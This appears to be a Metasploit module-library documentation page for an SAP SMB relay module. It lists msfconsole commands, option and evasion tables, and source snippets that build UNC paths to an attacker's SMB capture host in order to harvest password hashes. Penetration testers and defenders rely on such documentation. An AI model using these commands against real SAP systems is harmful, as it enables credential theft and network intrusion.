SAP SMB Relay Abuse - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/sap/sap_smb_relay metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SAP SMB Relay Abuse
Module: auxiliary/scanner/sap/sap_smb_relay
Source code: modules/auxiliary/scanner/sap/sap_smb_relay.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits provides several SMB Relay abuse through different SAP services and functions. The attack is done through specially crafted requests including a UNC Path which will be accessing by the SAP system while trying to process the request. In order to get the hashes the auxiliary/server/capture/smb module can be used.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/sap/sap_smb_relay
msf auxiliary(sap_smb_relay) > show options
... show and set options ...
msf auxiliary(sap_smb_relay) > set RHOSTS ip-range
msf auxiliary(sap_smb_relay) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(sap_smb_relay) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(sap_smb_relay) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(sap_smb_relay) > set RHOSTS file:/tmp/ip_list.txt
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
LHOST: Server IP or hostname of the SMB Capture system
Go back to menu.
Msfconsole Usage
Here is how the scanner/sap/sap_smb_relay auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/sap/sap_smb_relay
msf6 auxiliary(scanner/sap/sap_smb_relay) > show info
Name: SAP SMB Relay Abuse
Module: auxiliary/scanner/sap/sap_smb_relay
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Alexey Tyurin
nmonkee
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ABUSE MMR yes SMB Relay abuse to use (Accepted: MMR, BW, CLBA_CLASSIF_FILE_REMOTE_HOST, CLBA_UPDATE_FILE_REMOTE_HOST)
CLIENT 001 yes SAP client
HttpPassword no Password (Ex 06071992)
HttpUsername no Username (Ex SAP*)
LHOST yes Server IP or hostname of the SMB Capture system
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits provides several SMB Relay abuse through
different SAP services and functions. The attack is done through
specially crafted requests including a UNC Path which will be
accessing by the SAP system while trying to process the request. In
order to get the hashes the auxiliary/server/capture/smb module can
be used.
References:
http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/
https://service.sap.com/sap/support/notes/1597066
Module Options
This is a complete list of options available in the scanner/sap/sap_smb_relay auxiliary module:
msf6 auxiliary(scanner/sap/sap_smb_relay) > show options
Module options (auxiliary/scanner/sap/sap_smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
ABUSE MMR yes SMB Relay abuse to use (Accepted: MMR, BW, CLBA_CLASSIF_FILE_REMOTE_HOST, CLBA_UPDATE_FILE_REMOTE_HOST)
CLIENT 001 yes SAP client
HttpPassword no Password (Ex 06071992)
HttpUsername no Username (Ex SAP*)
LHOST yes Server IP or hostname of the SMB Capture system
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/sap/sap_smb_relay auxiliary module:
msf6 auxiliary(scanner/sap/sap_smb_relay) > show advanced
Module advanced options (auxiliary/scanner/sap/sap_smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/sap/sap_smb_relay module can do:
msf6 auxiliary(scanner/sap/sap_smb_relay) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/sap/sap_smb_relay auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/sap/sap_smb_relay) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP BW service
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP BW service" error message:
77: end
78:
79: def run_xmla
80:
81: if not valid_credentials?
82: vprint_error("#{rhost}:#{rport} - Credentials needed in order to abuse the SAP BW service")
83: return
84: end
85:
86: smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}"
87: data = '<?xml version="1.0" encoding="utf-8" ?>'
<RHOST>:<RPORT> - Unable to connect
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:
104: print_good("#{rhost}:#{rport} - SMB Relay looks successful, check your SMB capture machine")
105: else
106: vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}") if res
107: end
108: rescue ::Rex::ConnectionError
109: print_error("#{rhost}:#{rport} - Unable to connect")
110: return
111: end
112: end
113:
114: def run_mmr
<RHOST>:<RPORT> - Unable to connect
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:
147:
148: if res
149: vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}")
150: end
151: rescue ::Rex::ConnectionError
152: print_error("#{rhost}:#{rport} - Unable to connect")
153: return
154: end
155: end
156:
157: def send_soap_rfc_request(data, smb_uri)
<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP SOAP RFC service
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP SOAP RFC service" error message:
154: end
155: end
156:
157: def send_soap_rfc_request(data, smb_uri)
158: if not valid_credentials?
159: vprint_error("#{rhost}:#{rport} - Credentials needed in order to abuse the SAP SOAP RFC service")
160: return
161: end
162:
163: begin
164: vprint_status("#{rhost}:#{rport} - Sending request for #{smb_uri}")
<RHOST>:<RPORT> - Unable to connect
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:
181: print_good("#{rhost}:#{rport} - SMB Relay looks successful, check your SMB capture machine")
182: else
183: vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}") if res
184: end
185: rescue ::Rex::ConnectionError
186: print_error("#{rhost}:#{rport} - Unable to connect")
187: return
188: end
189: end
190:
191: def run_clba_classif_file_remote
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8336 Merged Pull Request: Specify lhost by interface name
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3459 Merged Pull Request: Add newline at EOF
- #2597 Merged Pull Request: chmod -x .rb files without #! in modules and lib
- #2525 Merged Pull Request: Change module boilerplate
- #1656 Merged Pull Request: SAP /sap/bw/xml/soap/xmla XMLA service (XML DOCTYPE) SMB relay
References
- CVE: Not available
- http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/
- https://service.sap.com/sap/support/notes/1597066
See Also
Check also the following modules related to this module:
- auxiliary/admin/sap/cve_2020_6207_solman_rce
- auxiliary/admin/sap/cve_2020_6287_ws_add_user
- auxiliary/admin/sap/sap_configservlet_exec_noauth
- auxiliary/admin/sap/sap_igs_xmlchart_xxe
- auxiliary/admin/sap/sap_mgmt_con_osexec
- auxiliary/dos/sap/sap_soap_rfc_eps_delete_file
- auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt
- auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
- auxiliary/scanner/sap/sap_icf_public_info
- auxiliary/scanner/sap/sap_icm_urlscan
- auxiliary/scanner/sap/sap_mgmt_con_abaplog
- auxiliary/scanner/sap/sap_mgmt_con_brute_login
- auxiliary/scanner/sap/sap_mgmt_con_extractusers
- auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints
- auxiliary/scanner/sap/sap_mgmt_con_getenv
- auxiliary/scanner/sap/sap_mgmt_con_getlogfiles
- auxiliary/scanner/sap/sap_mgmt_con_getprocesslist
- auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter
- auxiliary/scanner/sap/sap_mgmt_con_instanceproperties
- auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles
- auxiliary/scanner/sap/sap_mgmt_con_listlogfiles
- auxiliary/scanner/sap/sap_mgmt_con_startprofile
- auxiliary/scanner/sap/sap_mgmt_con_version
- auxiliary/scanner/sap/sap_router_info_request
- auxiliary/scanner/sap/sap_router_portscanner
- auxiliary/scanner/sap/sap_service_discovery
- auxiliary/scanner/sap/sap_soap_bapi_user_create1
- auxiliary/scanner/sap/sap_soap_rfc_brute_login
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
- auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence
- auxiliary/scanner/sap/sap_soap_rfc_ping
- auxiliary/scanner/sap/sap_soap_rfc_read_table
- auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
- auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_system_info
- auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
- auxiliary/scanner/sap/sap_web_gui_brute_login
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/multi/sap/sap_mgmt_con_osexec_payload
- exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
- exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
- post/multi/sap/smdagent_get_properties
- auxiliary/gather/windows_deployment_services_shares
- auxiliary/scanner/dcerpc/windows_deployment_services
- auxiliary/scanner/http/servicedesk_plus_traversal
- auxiliary/scanner/misc/ib_service_mgr_info
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- encoder/x86/service
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/local/service_persistence
- exploit/multi/http/novell_servicedesk_rce
- exploit/multi/misc/consul_service_exec
- exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- exploit/windows/backupexec/name_service
- exploit/windows/browser/java_basicservice_impl
- exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539
- exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/ikeext_service
- exploit/windows/local/persistence_service
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/service_permissions
- exploit/windows/local/unquoted_service_path
- exploit/windows/local/windscribe_windscribeservice_priv_esc
- exploit/windows/misc/hp_dataprotector_install_service
- exploit/windows/misc/hp_magentservice
- exploit/windows/misc/solidworks_workgroup_pdmwservice_file_write
- exploit/windows/oracle/tns_service_name
- exploit/windows/scada/factorylink_csservice
- post/linux/gather/tor_hiddenservices
- post/solaris/gather/enum_services
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_services
- auxiliary/scanner/smtp/smtp_relay
Authors
- Alexey Tyurin
- nmonkee
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.